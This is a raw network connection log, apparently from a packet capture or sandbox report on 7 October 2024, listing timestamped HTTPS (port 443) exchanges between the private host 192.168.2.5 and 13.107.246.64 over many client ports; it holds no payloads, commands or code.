Oct 7, 2024 21:53:30.400732994 CEST	443	49952	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.401463985 CEST	49950	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.401475906 CEST	443	49950	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.401956081 CEST	49952	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.401998997 CEST	443	49952	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.402640104 CEST	49952	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.402654886 CEST	443	49952	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.487099886 CEST	443	49949	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.487433910 CEST	443	49949	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.487487078 CEST	49949	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.487503052 CEST	443	49949	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.487551928 CEST	49949	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.492280006 CEST	49949	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.492315054 CEST	443	49949	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.492327929 CEST	49949	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.492333889 CEST	443	49949	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.497149944 CEST	49955	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.497209072 CEST	443	49955	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.497266054 CEST	49955	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.497811079 CEST	49955	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.497828007 CEST	443	49955	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.507369041 CEST	443	49952	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.507445097 CEST	443	49952	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.507498026 CEST	49952	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.507648945 CEST	49952	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.507668018 CEST	443	49952	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.507683992 CEST	49952	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.507692099 CEST	443	49952	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.511471987 CEST	49956	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.511513948 CEST	443	49956	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.511583090 CEST	49956	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.511992931 CEST	49956	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.512003899 CEST	443	49956	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.512485027 CEST	443	49953	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.512917995 CEST	49953	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.512932062 CEST	443	49953	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.513639927 CEST	49953	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.513645887 CEST	443	49953	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.547358990 CEST	443	49950	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.547441959 CEST	443	49950	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.547488928 CEST	49950	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.561369896 CEST	49950	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.561395884 CEST	443	49950	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.561403990 CEST	49950	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.561408997 CEST	443	49950	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.566036940 CEST	49957	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.566076994 CEST	443	49957	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.566137075 CEST	49957	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.566396952 CEST	49957	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.566411018 CEST	443	49957	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.711688995 CEST	443	49953	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.711854935 CEST	443	49953	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.711913109 CEST	49953	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.729135036 CEST	49953	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.729166985 CEST	443	49953	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.729185104 CEST	49953	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.729192972 CEST	443	49953	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.734878063 CEST	49958	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.734916925 CEST	443	49958	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.734975100 CEST	49958	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.735255957 CEST	49958	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.735268116 CEST	443	49958	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.948082924 CEST	443	49954	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.948978901 CEST	49954	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.949012041 CEST	443	49954	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.949470043 CEST	49954	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.949480057 CEST	443	49954	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.127403021 CEST	443	49954	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.128305912 CEST	443	49954	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.128346920 CEST	443	49954	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.128360987 CEST	49954	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.128402948 CEST	49954	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.128489017 CEST	49954	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.128510952 CEST	443	49954	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.128525019 CEST	49954	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.128530025 CEST	443	49954	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.131637096 CEST	49959	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.131683111 CEST	443	49959	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.131769896 CEST	49959	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.131900072 CEST	49959	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.131921053 CEST	443	49959	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.272069931 CEST	443	49955	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.272609949 CEST	49955	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.272624016 CEST	443	49955	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.273088932 CEST	49955	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.273093939 CEST	443	49955	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.309693098 CEST	443	49956	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.310581923 CEST	49956	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.310619116 CEST	443	49956	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.311031103 CEST	49956	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.311038971 CEST	443	49956	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.337588072 CEST	443	49957	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.338135958 CEST	49957	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.338154078 CEST	443	49957	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.338555098 CEST	49957	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.338562965 CEST	443	49957	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.371215105 CEST	443	49955	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.371295929 CEST	443	49955	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.371525049 CEST	49955	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.371598959 CEST	49955	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.371613026 CEST	443	49955	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.371623039 CEST	49955	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.371628046 CEST	443	49955	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.373897076 CEST	49960	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.373965025 CEST	443	49960	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.374053001 CEST	49960	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.374161005 CEST	49960	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.374169111 CEST	443	49960	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.408925056 CEST	443	49956	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.409225941 CEST	443	49956	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.409267902 CEST	443	49956	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.409332037 CEST	49956	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.409363985 CEST	49956	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.409380913 CEST	443	49956	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.409392118 CEST	49956	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.409396887 CEST	443	49956	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.412281036 CEST	49961	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.412321091 CEST	443	49961	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.412436962 CEST	49961	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.412612915 CEST	49961	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.412626982 CEST	443	49961	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.432177067 CEST	443	49957	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.432423115 CEST	443	49957	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.432646990 CEST	49957	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.432683945 CEST	49957	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.432701111 CEST	443	49957	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.432710886 CEST	49957	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.432717085 CEST	443	49957	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.435394049 CEST	49962	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.435431004 CEST	443	49962	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.435600042 CEST	49962	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.435733080 CEST	49962	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.435748100 CEST	443	49962	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.466540098 CEST	443	49958	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.467102051 CEST	49958	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.467118979 CEST	443	49958	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.467601061 CEST	49958	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.467606068 CEST	443	49958	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.570558071 CEST	443	49958	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.570770025 CEST	443	49958	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.573698997 CEST	49958	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.573762894 CEST	49958	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.573787928 CEST	443	49958	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.573801041 CEST	49958	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.573807955 CEST	443	49958	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.576395035 CEST	49963	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.576448917 CEST	443	49963	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.576528072 CEST	49963	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.576658010 CEST	49963	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.576668024 CEST	443	49963	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.749914885 CEST	443	49959	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.750751972 CEST	49959	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.750777960 CEST	443	49959	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.751240969 CEST	49959	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.751247883 CEST	443	49959	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.845009089 CEST	443	49959	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.845865965 CEST	443	49959	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.845927954 CEST	49959	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.846019030 CEST	49959	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.846040010 CEST	443	49959	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.846051931 CEST	49959	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.846057892 CEST	443	49959	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.848751068 CEST	49964	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.848810911 CEST	443	49964	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.848893881 CEST	49964	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.849214077 CEST	49964	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.849227905 CEST	443	49964	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.994568110 CEST	443	49960	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.995230913 CEST	49960	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.995249033 CEST	443	49960	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:31.995687008 CEST	49960	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:31.995692968 CEST	443	49960	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.046844006 CEST	443	49961	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.047485113 CEST	49961	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.047511101 CEST	443	49961	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.047954082 CEST	49961	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.047960997 CEST	443	49961	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.049053907 CEST	443	49962	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.049873114 CEST	49962	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.049882889 CEST	443	49962	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.050292969 CEST	49962	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.050299883 CEST	443	49962	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.093592882 CEST	443	49960	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.094188929 CEST	443	49960	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.094255924 CEST	49960	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.094330072 CEST	49960	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.094351053 CEST	443	49960	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.094364882 CEST	49960	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.094372034 CEST	443	49960	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.097754002 CEST	49965	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.097789049 CEST	443	49965	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.097855091 CEST	49965	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.097999096 CEST	49965	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.098011971 CEST	443	49965	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.141479969 CEST	443	49961	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.141915083 CEST	443	49961	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.142102003 CEST	49961	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.142143965 CEST	49961	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.142168045 CEST	443	49961	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.142184973 CEST	49961	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.142194033 CEST	443	49961	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.144448042 CEST	443	49962	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.144942045 CEST	443	49962	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.145029068 CEST	49962	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.145191908 CEST	49962	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.145215034 CEST	443	49962	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.145231009 CEST	49962	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.145240068 CEST	443	49962	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.145415068 CEST	49966	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.145492077 CEST	443	49966	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.145581007 CEST	49966	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.145703077 CEST	49966	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.145735025 CEST	443	49966	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.147439957 CEST	49967	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.147480965 CEST	443	49967	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.147551060 CEST	49967	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.147687912 CEST	49967	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.147702932 CEST	443	49967	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.246208906 CEST	443	49963	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.246789932 CEST	49963	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.246814966 CEST	443	49963	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.247270107 CEST	49963	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.247276068 CEST	443	49963	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.349526882 CEST	443	49963	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.349602938 CEST	443	49963	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.349684000 CEST	49963	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.349838018 CEST	49963	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.349855900 CEST	443	49963	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.349869013 CEST	49963	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.349874973 CEST	443	49963	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.352812052 CEST	49968	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.352824926 CEST	443	49968	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.352916002 CEST	49968	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.353095055 CEST	49968	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.353107929 CEST	443	49968	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.488156080 CEST	443	49964	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.488831997 CEST	49964	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.488857031 CEST	443	49964	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.489422083 CEST	49964	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.489428997 CEST	443	49964	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.589528084 CEST	443	49964	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.589567900 CEST	443	49964	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.589622974 CEST	443	49964	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.589627981 CEST	49964	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.589664936 CEST	49964	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.590595961 CEST	49964	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.590629101 CEST	443	49964	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.590643883 CEST	49964	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.590651035 CEST	443	49964	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.594382048 CEST	49969	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.594422102 CEST	443	49969	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.594490051 CEST	49969	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.597789049 CEST	49969	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.597800970 CEST	443	49969	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.716810942 CEST	443	49965	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.717417955 CEST	49965	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.717468023 CEST	443	49965	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.717885971 CEST	49965	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.717905045 CEST	443	49965	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.754897118 CEST	443	49966	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.759448051 CEST	49966	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.759489059 CEST	443	49966	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.760114908 CEST	49966	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.760129929 CEST	443	49966	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.796065092 CEST	443	49967	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.796824932 CEST	49967	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.796852112 CEST	443	49967	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.797291040 CEST	49967	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.797297001 CEST	443	49967	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.813618898 CEST	443	49965	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.813934088 CEST	443	49965	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.814141989 CEST	49965	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.814218998 CEST	49965	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.814218998 CEST	49965	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.814260960 CEST	443	49965	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.814291954 CEST	443	49965	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.817166090 CEST	49970	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.817202091 CEST	443	49970	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.817306995 CEST	49970	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.817475080 CEST	49970	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.817485094 CEST	443	49970	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.853101969 CEST	443	49966	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.855880976 CEST	443	49966	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.855979919 CEST	49966	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.856040001 CEST	49966	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.856072903 CEST	443	49966	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.856100082 CEST	49966	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.856116056 CEST	443	49966	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.858872890 CEST	49971	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.858916044 CEST	443	49971	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.858984947 CEST	49971	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.859116077 CEST	49971	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.859132051 CEST	443	49971	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.896713018 CEST	443	49967	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.897738934 CEST	443	49967	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.897830009 CEST	49967	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.897865057 CEST	49967	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.897881985 CEST	443	49967	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.897893906 CEST	49967	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.897898912 CEST	443	49967	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.900672913 CEST	49972	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.900713921 CEST	443	49972	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.900778055 CEST	49972	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.900913954 CEST	49972	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.900924921 CEST	443	49972	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.963471889 CEST	443	49968	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.964107990 CEST	49968	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.964129925 CEST	443	49968	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:32.964584112 CEST	49968	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:32.964589119 CEST	443	49968	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.059561968 CEST	443	49968	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.059676886 CEST	443	49968	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.059792995 CEST	49968	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.059811115 CEST	443	49968	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.060076952 CEST	49968	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.060084105 CEST	443	49968	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.060096025 CEST	49968	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.060111046 CEST	443	49968	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.062798977 CEST	49973	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.062839031 CEST	443	49973	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.062917948 CEST	49973	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.063050032 CEST	49973	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.063065052 CEST	443	49973	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.220443964 CEST	443	49969	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.221544981 CEST	49969	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.221579075 CEST	443	49969	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.222044945 CEST	49969	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.222052097 CEST	443	49969	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.413309097 CEST	443	49969	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.413348913 CEST	443	49969	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.413403034 CEST	443	49969	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.413413048 CEST	49969	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.413458109 CEST	49969	443	192.168.2.5	13.107.246.64
